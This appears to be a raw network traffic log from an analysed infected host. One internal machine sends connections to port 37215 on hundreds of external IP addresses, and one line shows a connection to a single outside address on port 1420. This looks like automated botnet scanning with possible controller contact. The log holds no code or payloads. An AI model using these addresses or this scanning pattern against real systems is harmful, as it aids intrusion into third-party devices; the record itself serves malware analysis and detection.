Nov 3, 2024 15:33:03.919574022 CET	4847	37215	192.168.2.14	41.44.73.204
Nov 3, 2024 15:33:03.919586897 CET	4847	37215	192.168.2.14	41.250.175.184
Nov 3, 2024 15:33:03.919588089 CET	4847	37215	192.168.2.14	41.93.162.88
Nov 3, 2024 15:33:03.919594049 CET	4847	37215	192.168.2.14	41.183.147.23
Nov 3, 2024 15:33:03.919596910 CET	4847	37215	192.168.2.14	156.48.243.122
Nov 3, 2024 15:33:03.919596910 CET	4847	37215	192.168.2.14	197.6.112.72
Nov 3, 2024 15:33:03.919600010 CET	4847	37215	192.168.2.14	41.15.128.34
Nov 3, 2024 15:33:03.919601917 CET	4847	37215	192.168.2.14	197.91.174.153
Nov 3, 2024 15:33:03.919609070 CET	4847	37215	192.168.2.14	41.25.203.31
Nov 3, 2024 15:33:03.919610977 CET	4847	37215	192.168.2.14	156.222.152.80
Nov 3, 2024 15:33:03.919621944 CET	4847	37215	192.168.2.14	41.87.111.203
Nov 3, 2024 15:33:03.919621944 CET	4847	37215	192.168.2.14	197.22.215.180
Nov 3, 2024 15:33:03.919631004 CET	4847	37215	192.168.2.14	41.235.238.197
Nov 3, 2024 15:33:03.919631958 CET	4847	37215	192.168.2.14	156.236.40.192
Nov 3, 2024 15:33:03.919640064 CET	4847	37215	192.168.2.14	41.243.21.100
Nov 3, 2024 15:33:03.919640064 CET	4847	37215	192.168.2.14	41.171.153.169
Nov 3, 2024 15:33:03.919642925 CET	4847	37215	192.168.2.14	156.176.133.201
Nov 3, 2024 15:33:03.919657946 CET	4847	37215	192.168.2.14	197.162.5.122
Nov 3, 2024 15:33:03.919662952 CET	4847	37215	192.168.2.14	156.69.174.151
Nov 3, 2024 15:33:03.919667006 CET	4847	37215	192.168.2.14	156.104.149.80
Nov 3, 2024 15:33:03.919667006 CET	4847	37215	192.168.2.14	197.125.25.56
Nov 3, 2024 15:33:03.919671059 CET	4847	37215	192.168.2.14	41.199.35.88
Nov 3, 2024 15:33:03.919682026 CET	4847	37215	192.168.2.14	41.230.202.93
Nov 3, 2024 15:33:03.919683933 CET	4847	37215	192.168.2.14	41.150.130.178
Nov 3, 2024 15:33:03.919684887 CET	4847	37215	192.168.2.14	41.146.240.109
Nov 3, 2024 15:33:03.919687986 CET	4847	37215	192.168.2.14	156.1.229.233
Nov 3, 2024 15:33:03.919688940 CET	4847	37215	192.168.2.14	156.188.147.118
Nov 3, 2024 15:33:03.919703007 CET	4847	37215	192.168.2.14	197.85.85.249
Nov 3, 2024 15:33:03.919703960 CET	4847	37215	192.168.2.14	41.32.204.164
Nov 3, 2024 15:33:03.919717073 CET	4847	37215	192.168.2.14	197.83.175.254
Nov 3, 2024 15:33:03.919723034 CET	4847	37215	192.168.2.14	197.150.221.45
Nov 3, 2024 15:33:03.919724941 CET	4847	37215	192.168.2.14	41.124.81.139
Nov 3, 2024 15:33:03.919756889 CET	4847	37215	192.168.2.14	197.192.146.115
Nov 3, 2024 15:33:03.919756889 CET	4847	37215	192.168.2.14	156.111.147.67
Nov 3, 2024 15:33:03.919774055 CET	4847	37215	192.168.2.14	197.233.183.204
Nov 3, 2024 15:33:03.919780016 CET	4847	37215	192.168.2.14	156.60.55.4
Nov 3, 2024 15:33:03.919783115 CET	4847	37215	192.168.2.14	197.102.32.91
Nov 3, 2024 15:33:03.919783115 CET	4847	37215	192.168.2.14	197.75.160.91
Nov 3, 2024 15:33:03.919783115 CET	4847	37215	192.168.2.14	41.50.191.5
Nov 3, 2024 15:33:03.919790030 CET	4847	37215	192.168.2.14	156.225.159.21
Nov 3, 2024 15:33:03.919797897 CET	4847	37215	192.168.2.14	41.29.180.72
Nov 3, 2024 15:33:03.919832945 CET	4847	37215	192.168.2.14	197.12.51.27
Nov 3, 2024 15:33:03.919836998 CET	4847	37215	192.168.2.14	156.115.99.102
Nov 3, 2024 15:33:03.919838905 CET	4847	37215	192.168.2.14	197.197.121.177
Nov 3, 2024 15:33:03.919838905 CET	4847	37215	192.168.2.14	156.97.217.118
Nov 3, 2024 15:33:03.919838905 CET	4847	37215	192.168.2.14	41.150.203.39
Nov 3, 2024 15:33:03.919845104 CET	4847	37215	192.168.2.14	41.16.111.191
Nov 3, 2024 15:33:03.919845104 CET	4847	37215	192.168.2.14	156.49.95.98
Nov 3, 2024 15:33:03.919852972 CET	4847	37215	192.168.2.14	41.217.193.60
Nov 3, 2024 15:33:03.919857979 CET	4847	37215	192.168.2.14	41.133.52.141
Nov 3, 2024 15:33:03.919862032 CET	4847	37215	192.168.2.14	156.183.238.247
Nov 3, 2024 15:33:03.919862032 CET	4847	37215	192.168.2.14	156.83.18.201
Nov 3, 2024 15:33:03.919872999 CET	4847	37215	192.168.2.14	41.168.133.220
Nov 3, 2024 15:33:03.919878960 CET	4847	37215	192.168.2.14	156.157.224.243
Nov 3, 2024 15:33:03.919883966 CET	4847	37215	192.168.2.14	156.34.2.246
Nov 3, 2024 15:33:03.919889927 CET	4847	37215	192.168.2.14	41.179.95.145
Nov 3, 2024 15:33:03.919924021 CET	4847	37215	192.168.2.14	156.111.25.10
Nov 3, 2024 15:33:03.919924021 CET	4847	37215	192.168.2.14	41.253.99.119
Nov 3, 2024 15:33:03.919924021 CET	4847	37215	192.168.2.14	197.200.38.124
Nov 3, 2024 15:33:03.919940948 CET	4847	37215	192.168.2.14	41.187.56.13
Nov 3, 2024 15:33:03.919945002 CET	4847	37215	192.168.2.14	156.70.203.89
Nov 3, 2024 15:33:03.919945955 CET	4847	37215	192.168.2.14	41.42.215.195
Nov 3, 2024 15:33:03.919946909 CET	4847	37215	192.168.2.14	41.133.119.107
Nov 3, 2024 15:33:03.919946909 CET	4847	37215	192.168.2.14	197.119.11.122
Nov 3, 2024 15:33:03.919950008 CET	4847	37215	192.168.2.14	156.135.217.231
Nov 3, 2024 15:33:03.919967890 CET	4847	37215	192.168.2.14	197.61.187.172
Nov 3, 2024 15:33:03.919985056 CET	4847	37215	192.168.2.14	41.180.219.52
Nov 3, 2024 15:33:03.919991016 CET	4847	37215	192.168.2.14	197.216.154.102
Nov 3, 2024 15:33:03.919996977 CET	4847	37215	192.168.2.14	197.36.139.148
Nov 3, 2024 15:33:03.919996977 CET	4847	37215	192.168.2.14	41.134.108.253
Nov 3, 2024 15:33:03.919997931 CET	4847	37215	192.168.2.14	156.78.137.222
Nov 3, 2024 15:33:03.919997931 CET	4847	37215	192.168.2.14	41.61.150.120
Nov 3, 2024 15:33:03.920008898 CET	4847	37215	192.168.2.14	197.41.15.165
Nov 3, 2024 15:33:03.920008898 CET	4847	37215	192.168.2.14	156.199.170.190
Nov 3, 2024 15:33:03.920020103 CET	4847	37215	192.168.2.14	156.1.130.235
Nov 3, 2024 15:33:03.920049906 CET	4847	37215	192.168.2.14	197.138.185.204
Nov 3, 2024 15:33:03.920053005 CET	4847	37215	192.168.2.14	156.2.6.232
Nov 3, 2024 15:33:03.920053005 CET	4847	37215	192.168.2.14	41.235.35.64
Nov 3, 2024 15:33:03.920053005 CET	4847	37215	192.168.2.14	197.78.117.94
Nov 3, 2024 15:33:03.920063972 CET	32964	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:33:03.920066118 CET	4847	37215	192.168.2.14	41.34.10.136
Nov 3, 2024 15:33:03.920069933 CET	4847	37215	192.168.2.14	41.127.3.156
Nov 3, 2024 15:33:03.920082092 CET	4847	37215	192.168.2.14	41.8.84.91
Nov 3, 2024 15:33:03.920084953 CET	4847	37215	192.168.2.14	41.32.37.224
Nov 3, 2024 15:33:03.920087099 CET	4847	37215	192.168.2.14	197.20.42.178
Nov 3, 2024 15:33:03.920090914 CET	4847	37215	192.168.2.14	156.1.170.244
Nov 3, 2024 15:33:03.920097113 CET	4847	37215	192.168.2.14	156.4.214.96
Nov 3, 2024 15:33:03.920120955 CET	4847	37215	192.168.2.14	156.59.102.174
Nov 3, 2024 15:33:03.920121908 CET	4847	37215	192.168.2.14	197.164.89.7
Nov 3, 2024 15:33:03.920124054 CET	4847	37215	192.168.2.14	156.94.148.233
Nov 3, 2024 15:33:03.920154095 CET	4847	37215	192.168.2.14	156.119.241.204
Nov 3, 2024 15:33:03.920157909 CET	4847	37215	192.168.2.14	156.193.178.68
Nov 3, 2024 15:33:03.920157909 CET	4847	37215	192.168.2.14	197.187.250.122
Nov 3, 2024 15:33:03.920162916 CET	4847	37215	192.168.2.14	156.150.62.47
Nov 3, 2024 15:33:03.920193911 CET	4847	37215	192.168.2.14	41.76.146.142
Nov 3, 2024 15:33:03.920196056 CET	4847	37215	192.168.2.14	41.31.200.50
Nov 3, 2024 15:33:03.920196056 CET	4847	37215	192.168.2.14	197.183.140.111
Nov 3, 2024 15:33:03.920217037 CET	4847	37215	192.168.2.14	197.58.59.58
Nov 3, 2024 15:33:03.920217037 CET	4847	37215	192.168.2.14	156.37.255.112
Nov 3, 2024 15:33:03.920217037 CET	4847	37215	192.168.2.14	156.142.139.206
Nov 3, 2024 15:33:03.920217037 CET	4847	37215	192.168.2.14	41.14.7.56
Nov 3, 2024 15:33:03.920218945 CET	4847	37215	192.168.2.14	41.183.241.104
Nov 3, 2024 15:33:03.920224905 CET	4847	37215	192.168.2.14	156.232.188.232
Nov 3, 2024 15:33:03.920238018 CET	4847	37215	192.168.2.14	41.206.10.27
Nov 3, 2024 15:33:03.923348904 CET	37215	4847	197.223.76.128	192.168.2.14
Nov 3, 2024 15:33:03.923394918 CET	4847	37215	192.168.2.14	197.223.76.128
Nov 3, 2024 15:33:03.923434019 CET	37215	4847	197.164.23.128	192.168.2.14
Nov 3, 2024 15:33:03.923454046 CET	37215	4847	156.42.97.189	192.168.2.14
Nov 3, 2024 15:33:03.923464060 CET	37215	4847	197.181.5.130	192.168.2.14
Nov 3, 2024 15:33:03.923472881 CET	37215	4847	197.101.8.217	192.168.2.14
Nov 3, 2024 15:33:03.923480034 CET	4847	37215	192.168.2.14	197.164.23.128
Nov 3, 2024 15:33:03.923482895 CET	37215	4847	41.212.37.47	192.168.2.14
Nov 3, 2024 15:33:03.923492908 CET	37215	4847	197.69.184.15	192.168.2.14
Nov 3, 2024 15:33:03.923496962 CET	4847	37215	192.168.2.14	197.181.5.130
Nov 3, 2024 15:33:03.923500061 CET	4847	37215	192.168.2.14	156.42.97.189
Nov 3, 2024 15:33:03.923500061 CET	4847	37215	192.168.2.14	197.101.8.217
Nov 3, 2024 15:33:03.923501968 CET	37215	4847	156.197.244.29	192.168.2.14
Nov 3, 2024 15:33:03.923511982 CET	37215	4847	156.9.19.35	192.168.2.14
Nov 3, 2024 15:33:03.923520088 CET	4847	37215	192.168.2.14	197.69.184.15
Nov 3, 2024 15:33:03.923521042 CET	4847	37215	192.168.2.14	41.212.37.47
Nov 3, 2024 15:33:03.923531055 CET	4847	37215	192.168.2.14	156.197.244.29
Nov 3, 2024 15:33:03.923544884 CET	4847	37215	192.168.2.14	156.9.19.35
Nov 3, 2024 15:33:03.923868895 CET	37215	4847	197.45.148.89	192.168.2.14
Nov 3, 2024 15:33:03.923880100 CET	37215	4847	41.12.238.176	192.168.2.14
Nov 3, 2024 15:33:03.923888922 CET	37215	4847	156.98.94.204	192.168.2.14
Nov 3, 2024 15:33:03.923892975 CET	37215	4847	41.135.218.72	192.168.2.14
Nov 3, 2024 15:33:03.923903942 CET	37215	4847	41.82.16.126	192.168.2.14
Nov 3, 2024 15:33:03.923912048 CET	4847	37215	192.168.2.14	197.45.148.89
Nov 3, 2024 15:33:03.923912048 CET	4847	37215	192.168.2.14	41.12.238.176
Nov 3, 2024 15:33:03.923913002 CET	37215	4847	197.146.167.175	192.168.2.14
Nov 3, 2024 15:33:03.923922062 CET	37215	4847	197.122.174.144	192.168.2.14
Nov 3, 2024 15:33:03.923923016 CET	4847	37215	192.168.2.14	156.98.94.204
Nov 3, 2024 15:33:03.923924923 CET	4847	37215	192.168.2.14	41.135.218.72
Nov 3, 2024 15:33:03.923932076 CET	37215	4847	156.204.201.19	192.168.2.14
Nov 3, 2024 15:33:03.923942089 CET	37215	4847	197.185.236.65	192.168.2.14
Nov 3, 2024 15:33:03.923943043 CET	4847	37215	192.168.2.14	41.82.16.126
Nov 3, 2024 15:33:03.923943043 CET	4847	37215	192.168.2.14	197.122.174.144
Nov 3, 2024 15:33:03.923944950 CET	4847	37215	192.168.2.14	197.146.167.175
Nov 3, 2024 15:33:03.923971891 CET	4847	37215	192.168.2.14	156.204.201.19
Nov 3, 2024 15:33:03.923973083 CET	4847	37215	192.168.2.14	197.185.236.65
Nov 3, 2024 15:33:03.924030066 CET	37215	4847	197.164.122.124	192.168.2.14
Nov 3, 2024 15:33:03.924040079 CET	37215	4847	41.183.11.39	192.168.2.14
Nov 3, 2024 15:33:03.924046993 CET	37215	4847	156.7.119.130	192.168.2.14
Nov 3, 2024 15:33:03.924057007 CET	37215	4847	41.107.38.254	192.168.2.14
Nov 3, 2024 15:33:03.924067020 CET	37215	4847	41.110.52.200	192.168.2.14
Nov 3, 2024 15:33:03.924067020 CET	4847	37215	192.168.2.14	197.164.122.124
Nov 3, 2024 15:33:03.924067020 CET	4847	37215	192.168.2.14	41.183.11.39
Nov 3, 2024 15:33:03.924077034 CET	37215	4847	197.218.170.223	192.168.2.14
Nov 3, 2024 15:33:03.924077988 CET	4847	37215	192.168.2.14	156.7.119.130
Nov 3, 2024 15:33:03.924084902 CET	4847	37215	192.168.2.14	41.107.38.254
Nov 3, 2024 15:33:03.924086094 CET	37215	4847	197.146.206.253	192.168.2.14
Nov 3, 2024 15:33:03.924096107 CET	37215	4847	197.206.23.158	192.168.2.14
Nov 3, 2024 15:33:03.924103975 CET	4847	37215	192.168.2.14	41.110.52.200
Nov 3, 2024 15:33:03.924104929 CET	37215	4847	197.39.77.74	192.168.2.14
Nov 3, 2024 15:33:03.924109936 CET	4847	37215	192.168.2.14	197.218.170.223
Nov 3, 2024 15:33:03.924113989 CET	37215	4847	41.249.78.239	192.168.2.14
Nov 3, 2024 15:33:03.924118996 CET	4847	37215	192.168.2.14	197.146.206.253
Nov 3, 2024 15:33:03.924124956 CET	37215	4847	156.211.166.247	192.168.2.14
Nov 3, 2024 15:33:03.924132109 CET	4847	37215	192.168.2.14	197.206.23.158
Nov 3, 2024 15:33:03.924134016 CET	37215	4847	41.198.128.222	192.168.2.14
Nov 3, 2024 15:33:03.924140930 CET	4847	37215	192.168.2.14	197.39.77.74
Nov 3, 2024 15:33:03.924143076 CET	37215	4847	41.212.205.129	192.168.2.14
Nov 3, 2024 15:33:03.924154043 CET	37215	4847	156.198.30.156	192.168.2.14
Nov 3, 2024 15:33:03.924163103 CET	37215	4847	156.132.222.235	192.168.2.14
Nov 3, 2024 15:33:03.924171925 CET	37215	4847	156.233.106.32	192.168.2.14
Nov 3, 2024 15:33:03.924181938 CET	37215	4847	41.102.52.117	192.168.2.14
Nov 3, 2024 15:33:03.924190998 CET	37215	4847	156.79.77.68	192.168.2.14
Nov 3, 2024 15:33:03.924194098 CET	4847	37215	192.168.2.14	156.198.30.156
Nov 3, 2024 15:33:03.924200058 CET	37215	4847	197.31.225.2	192.168.2.14
Nov 3, 2024 15:33:03.924210072 CET	37215	4847	197.119.212.153	192.168.2.14
Nov 3, 2024 15:33:03.924217939 CET	37215	4847	156.253.95.85	192.168.2.14
Nov 3, 2024 15:33:03.924246073 CET	4847	37215	192.168.2.14	197.119.212.153
Nov 3, 2024 15:33:03.924307108 CET	4847	37215	192.168.2.14	41.249.78.239
Nov 3, 2024 15:33:03.924307108 CET	4847	37215	192.168.2.14	156.211.166.247
Nov 3, 2024 15:33:03.924307108 CET	4847	37215	192.168.2.14	41.198.128.222
Nov 3, 2024 15:33:03.924319029 CET	4847	37215	192.168.2.14	41.212.205.129
Nov 3, 2024 15:33:03.924326897 CET	4847	37215	192.168.2.14	156.132.222.235
Nov 3, 2024 15:33:03.924328089 CET	4847	37215	192.168.2.14	156.233.106.32
Nov 3, 2024 15:33:03.924336910 CET	4847	37215	192.168.2.14	41.102.52.117
Nov 3, 2024 15:33:03.924338102 CET	4847	37215	192.168.2.14	197.31.225.2
Nov 3, 2024 15:33:03.924338102 CET	4847	37215	192.168.2.14	156.79.77.68
Nov 3, 2024 15:33:03.924344063 CET	4847	37215	192.168.2.14	156.253.95.85
Nov 3, 2024 15:33:03.924403906 CET	37215	4847	197.231.247.81	192.168.2.14
Nov 3, 2024 15:33:03.924413919 CET	37215	4847	197.153.87.52	192.168.2.14
Nov 3, 2024 15:33:03.924417973 CET	37215	4847	156.53.179.243	192.168.2.14
Nov 3, 2024 15:33:03.924423933 CET	37215	4847	156.100.125.226	192.168.2.14
Nov 3, 2024 15:33:03.924438953 CET	4847	37215	192.168.2.14	156.53.179.243
Nov 3, 2024 15:33:03.924441099 CET	4847	37215	192.168.2.14	197.231.247.81
Nov 3, 2024 15:33:03.924447060 CET	4847	37215	192.168.2.14	197.153.87.52
Nov 3, 2024 15:33:03.924449921 CET	37215	4847	41.173.33.37	192.168.2.14
Nov 3, 2024 15:33:03.924459934 CET	4847	37215	192.168.2.14	156.100.125.226
Nov 3, 2024 15:33:03.924474001 CET	37215	4847	41.71.163.79	192.168.2.14
Nov 3, 2024 15:33:03.924484015 CET	37215	4847	197.200.15.170	192.168.2.14
Nov 3, 2024 15:33:03.924487114 CET	4847	37215	192.168.2.14	41.173.33.37
Nov 3, 2024 15:33:03.924494028 CET	37215	4847	41.244.190.25	192.168.2.14
Nov 3, 2024 15:33:03.924504995 CET	37215	4847	41.33.156.0	192.168.2.14
Nov 3, 2024 15:33:03.924525023 CET	37215	4847	156.202.235.113	192.168.2.14
Nov 3, 2024 15:33:03.924527884 CET	4847	37215	192.168.2.14	41.71.163.79
Nov 3, 2024 15:33:03.924527884 CET	4847	37215	192.168.2.14	41.244.190.25
Nov 3, 2024 15:33:03.924534082 CET	37215	4847	41.168.203.29	192.168.2.14
Nov 3, 2024 15:33:03.924537897 CET	4847	37215	192.168.2.14	197.200.15.170
Nov 3, 2024 15:33:03.924537897 CET	4847	37215	192.168.2.14	41.33.156.0
Nov 3, 2024 15:33:03.924556017 CET	37215	4847	41.126.40.159	192.168.2.14
Nov 3, 2024 15:33:03.924557924 CET	4847	37215	192.168.2.14	156.202.235.113
Nov 3, 2024 15:33:03.924568892 CET	37215	4847	197.146.192.174	192.168.2.14
Nov 3, 2024 15:33:03.924582958 CET	37215	4847	197.87.144.104	192.168.2.14
Nov 3, 2024 15:33:03.924592018 CET	37215	4847	41.214.36.137	192.168.2.14
Nov 3, 2024 15:33:03.924596071 CET	37215	4847	41.176.158.71	192.168.2.14
Nov 3, 2024 15:33:03.924599886 CET	37215	4847	41.30.67.169	192.168.2.14
Nov 3, 2024 15:33:03.924602032 CET	4847	37215	192.168.2.14	41.168.203.29
Nov 3, 2024 15:33:03.924602032 CET	4847	37215	192.168.2.14	197.146.192.174
Nov 3, 2024 15:33:03.924604893 CET	37215	4847	197.134.195.220	192.168.2.14
Nov 3, 2024 15:33:03.924606085 CET	4847	37215	192.168.2.14	41.126.40.159
Nov 3, 2024 15:33:03.924617052 CET	37215	4847	156.197.175.23	192.168.2.14
Nov 3, 2024 15:33:03.924628019 CET	4847	37215	192.168.2.14	197.87.144.104
Nov 3, 2024 15:33:03.924628973 CET	4847	37215	192.168.2.14	41.30.67.169
Nov 3, 2024 15:33:03.924628973 CET	4847	37215	192.168.2.14	41.214.36.137
Nov 3, 2024 15:33:03.924629927 CET	37215	4847	156.157.48.250	192.168.2.14
Nov 3, 2024 15:33:03.924638987 CET	4847	37215	192.168.2.14	41.176.158.71
Nov 3, 2024 15:33:03.924643993 CET	37215	4847	197.145.255.210	192.168.2.14
Nov 3, 2024 15:33:03.924644947 CET	4847	37215	192.168.2.14	197.134.195.220
Nov 3, 2024 15:33:03.924654007 CET	37215	4847	156.60.157.78	192.168.2.14
Nov 3, 2024 15:33:03.924658060 CET	4847	37215	192.168.2.14	156.197.175.23
Nov 3, 2024 15:33:03.924660921 CET	4847	37215	192.168.2.14	156.157.48.250
Nov 3, 2024 15:33:03.924665928 CET	37215	4847	41.39.13.206	192.168.2.14
Nov 3, 2024 15:33:03.924676895 CET	37215	4847	41.96.22.119	192.168.2.14
Nov 3, 2024 15:33:03.924685955 CET	37215	4847	41.22.53.118	192.168.2.14
Nov 3, 2024 15:33:03.924695969 CET	37215	4847	197.225.45.137	192.168.2.14
Nov 3, 2024 15:33:03.924705982 CET	37215	4847	156.168.50.185	192.168.2.14
Nov 3, 2024 15:33:03.924711943 CET	4847	37215	192.168.2.14	41.22.53.118
Nov 3, 2024 15:33:03.924716949 CET	37215	4847	197.119.54.124	192.168.2.14
Nov 3, 2024 15:33:03.924719095 CET	4847	37215	192.168.2.14	41.96.22.119
Nov 3, 2024 15:33:03.924721956 CET	4847	37215	192.168.2.14	197.145.255.210
Nov 3, 2024 15:33:03.924721956 CET	4847	37215	192.168.2.14	156.60.157.78
Nov 3, 2024 15:33:03.924736977 CET	4847	37215	192.168.2.14	197.225.45.137
Nov 3, 2024 15:33:03.924763918 CET	4847	37215	192.168.2.14	197.119.54.124
Nov 3, 2024 15:33:03.924765110 CET	4847	37215	192.168.2.14	41.39.13.206
Nov 3, 2024 15:33:03.924765110 CET	4847	37215	192.168.2.14	156.168.50.185
Nov 3, 2024 15:33:03.925092936 CET	37215	4847	156.172.224.116	192.168.2.14
Nov 3, 2024 15:33:03.925111055 CET	37215	4847	41.124.247.1	192.168.2.14
Nov 3, 2024 15:33:03.925122023 CET	37215	4847	156.155.187.128	192.168.2.14
Nov 3, 2024 15:33:03.925137997 CET	4847	37215	192.168.2.14	156.172.224.116
Nov 3, 2024 15:33:03.925144911 CET	4847	37215	192.168.2.14	41.124.247.1
Nov 3, 2024 15:33:03.925148964 CET	37215	4847	41.141.233.240	192.168.2.14
Nov 3, 2024 15:33:03.925152063 CET	4847	37215	192.168.2.14	156.155.187.128
Nov 3, 2024 15:33:03.925159931 CET	37215	4847	156.60.212.11	192.168.2.14
Nov 3, 2024 15:33:03.925169945 CET	37215	4847	156.92.201.251	192.168.2.14
Nov 3, 2024 15:33:03.925179005 CET	37215	4847	41.166.104.120	192.168.2.14
Nov 3, 2024 15:33:03.925188065 CET	4847	37215	192.168.2.14	41.141.233.240
Nov 3, 2024 15:33:03.925190926 CET	37215	4847	156.241.174.154	192.168.2.14
Nov 3, 2024 15:33:03.925193071 CET	4847	37215	192.168.2.14	156.60.212.11
Nov 3, 2024 15:33:03.925204039 CET	37215	4847	156.15.87.232	192.168.2.14
Nov 3, 2024 15:33:03.925213099 CET	4847	37215	192.168.2.14	156.92.201.251
Nov 3, 2024 15:33:03.925215006 CET	37215	4847	41.84.4.103	192.168.2.14
Nov 3, 2024 15:33:03.925224066 CET	37215	4847	41.36.128.154	192.168.2.14
Nov 3, 2024 15:33:03.925229073 CET	37215	4847	156.108.202.74	192.168.2.14
Nov 3, 2024 15:33:03.925234079 CET	37215	4847	197.243.145.35	192.168.2.14
Nov 3, 2024 15:33:03.925237894 CET	37215	4847	156.58.247.152	192.168.2.14
Nov 3, 2024 15:33:03.925239086 CET	4847	37215	192.168.2.14	41.166.104.120
Nov 3, 2024 15:33:03.925240993 CET	4847	37215	192.168.2.14	156.241.174.154
Nov 3, 2024 15:33:03.925247908 CET	37215	4847	41.232.160.123	192.168.2.14
Nov 3, 2024 15:33:03.925249100 CET	4847	37215	192.168.2.14	156.15.87.232
Nov 3, 2024 15:33:03.925265074 CET	37215	4847	41.196.236.180	192.168.2.14
Nov 3, 2024 15:33:03.925266981 CET	4847	37215	192.168.2.14	197.243.145.35
Nov 3, 2024 15:33:03.925276041 CET	37215	4847	156.150.29.143	192.168.2.14
Nov 3, 2024 15:33:03.925285101 CET	37215	4847	156.214.246.139	192.168.2.14
Nov 3, 2024 15:33:03.925290108 CET	37215	4847	41.37.66.5	192.168.2.14
Nov 3, 2024 15:33:03.925297022 CET	37215	4847	41.104.63.38	192.168.2.14
Nov 3, 2024 15:33:03.925304890 CET	37215	4847	156.75.91.71	192.168.2.14
Nov 3, 2024 15:33:03.925314903 CET	37215	4847	41.247.161.60	192.168.2.14
Nov 3, 2024 15:33:03.925317049 CET	4847	37215	192.168.2.14	156.108.202.74
Nov 3, 2024 15:33:03.925318956 CET	4847	37215	192.168.2.14	41.36.128.154
Nov 3, 2024 15:33:03.925324917 CET	37215	4847	197.103.118.254	192.168.2.14
Nov 3, 2024 15:33:03.925326109 CET	4847	37215	192.168.2.14	156.214.246.139
Nov 3, 2024 15:33:03.925334930 CET	37215	4847	156.45.220.1	192.168.2.14
Nov 3, 2024 15:33:03.925337076 CET	4847	37215	192.168.2.14	156.58.247.152
Nov 3, 2024 15:33:03.925339937 CET	4847	37215	192.168.2.14	41.196.236.180
Nov 3, 2024 15:33:03.925339937 CET	4847	37215	192.168.2.14	41.37.66.5
Nov 3, 2024 15:33:03.925340891 CET	4847	37215	192.168.2.14	41.104.63.38
Nov 3, 2024 15:33:03.925340891 CET	4847	37215	192.168.2.14	156.75.91.71
Nov 3, 2024 15:33:03.925345898 CET	4847	37215	192.168.2.14	41.232.160.123
Nov 3, 2024 15:33:03.925345898 CET	4847	37215	192.168.2.14	156.150.29.143
Nov 3, 2024 15:33:03.925345898 CET	37215	4847	156.33.212.75	192.168.2.14
Nov 3, 2024 15:33:03.925349951 CET	4847	37215	192.168.2.14	197.103.118.254
Nov 3, 2024 15:33:03.925349951 CET	4847	37215	192.168.2.14	41.84.4.103
Nov 3, 2024 15:33:03.925357103 CET	37215	4847	41.77.71.178	192.168.2.14
Nov 3, 2024 15:33:03.925359964 CET	4847	37215	192.168.2.14	41.247.161.60
Nov 3, 2024 15:33:03.925369978 CET	37215	4847	197.243.86.185	192.168.2.14
Nov 3, 2024 15:33:03.925374985 CET	37215	4847	156.207.157.252	192.168.2.14
Nov 3, 2024 15:33:03.925375938 CET	4847	37215	192.168.2.14	156.33.212.75
Nov 3, 2024 15:33:03.925376892 CET	4847	37215	192.168.2.14	156.45.220.1
Nov 3, 2024 15:33:03.925388098 CET	4847	37215	192.168.2.14	41.77.71.178
Nov 3, 2024 15:33:03.925403118 CET	4847	37215	192.168.2.14	197.243.86.185
Nov 3, 2024 15:33:03.925406933 CET	4847	37215	192.168.2.14	156.207.157.252
Nov 3, 2024 15:33:03.925506115 CET	37215	4847	197.91.194.211	192.168.2.14
Nov 3, 2024 15:33:03.925510883 CET	37215	4847	197.41.117.125	192.168.2.14
Nov 3, 2024 15:33:03.925515890 CET	37215	4847	156.115.237.200	192.168.2.14
Nov 3, 2024 15:33:03.925519943 CET	37215	4847	156.191.169.252	192.168.2.14
Nov 3, 2024 15:33:03.925523043 CET	37215	4847	41.173.225.126	192.168.2.14
Nov 3, 2024 15:33:03.925527096 CET	37215	4847	156.133.111.128	192.168.2.14
Nov 3, 2024 15:33:03.925575972 CET	4847	37215	192.168.2.14	197.91.194.211
Nov 3, 2024 15:33:03.925575972 CET	4847	37215	192.168.2.14	156.115.237.200
Nov 3, 2024 15:33:03.925576925 CET	4847	37215	192.168.2.14	197.41.117.125
Nov 3, 2024 15:33:03.925606012 CET	4847	37215	192.168.2.14	156.191.169.252
Nov 3, 2024 15:33:03.925606012 CET	4847	37215	192.168.2.14	41.173.225.126
Nov 3, 2024 15:33:03.925615072 CET	4847	37215	192.168.2.14	156.133.111.128
Nov 3, 2024 15:33:03.925627947 CET	37215	4847	197.5.68.146	192.168.2.14
Nov 3, 2024 15:33:03.925638914 CET	37215	4847	41.63.150.43	192.168.2.14
Nov 3, 2024 15:33:03.925647974 CET	37215	4847	41.113.208.134	192.168.2.14
Nov 3, 2024 15:33:03.925668001 CET	37215	4847	197.223.202.189	192.168.2.14
Nov 3, 2024 15:33:03.925676107 CET	37215	4847	41.213.232.198	192.168.2.14
Nov 3, 2024 15:33:03.925683975 CET	4847	37215	192.168.2.14	197.5.68.146
Nov 3, 2024 15:33:03.925684929 CET	37215	4847	41.110.17.208	192.168.2.14
Nov 3, 2024 15:33:03.925692081 CET	4847	37215	192.168.2.14	41.113.208.134
Nov 3, 2024 15:33:03.925695896 CET	37215	4847	156.171.200.193	192.168.2.14
Nov 3, 2024 15:33:03.925705910 CET	37215	4847	156.227.71.58	192.168.2.14
Nov 3, 2024 15:33:03.925708055 CET	4847	37215	192.168.2.14	197.223.202.189
Nov 3, 2024 15:33:03.925718069 CET	37215	4847	156.196.158.189	192.168.2.14
Nov 3, 2024 15:33:03.925728083 CET	37215	4847	41.169.60.238	192.168.2.14
Nov 3, 2024 15:33:03.925731897 CET	37215	4847	197.185.108.10	192.168.2.14
Nov 3, 2024 15:33:03.925734043 CET	4847	37215	192.168.2.14	41.213.232.198
Nov 3, 2024 15:33:03.925735950 CET	37215	4847	197.44.49.39	192.168.2.14
Nov 3, 2024 15:33:03.925735950 CET	4847	37215	192.168.2.14	41.63.150.43
Nov 3, 2024 15:33:03.925740957 CET	4847	37215	192.168.2.14	156.227.71.58
Nov 3, 2024 15:33:03.925740957 CET	37215	4847	197.215.113.9	192.168.2.14
Nov 3, 2024 15:33:03.925746918 CET	4847	37215	192.168.2.14	156.171.200.193
Nov 3, 2024 15:33:03.925748110 CET	4847	37215	192.168.2.14	156.196.158.189
Nov 3, 2024 15:33:03.925751925 CET	37215	4847	41.178.239.94	192.168.2.14
Nov 3, 2024 15:33:03.925756931 CET	4847	37215	192.168.2.14	41.169.60.238
Nov 3, 2024 15:33:03.925761938 CET	37215	4847	156.167.119.212	192.168.2.14
Nov 3, 2024 15:33:03.925764084 CET	4847	37215	192.168.2.14	41.110.17.208
Nov 3, 2024 15:33:03.925770998 CET	37215	4847	41.219.54.123	192.168.2.14
Nov 3, 2024 15:33:03.925776005 CET	4847	37215	192.168.2.14	197.44.49.39
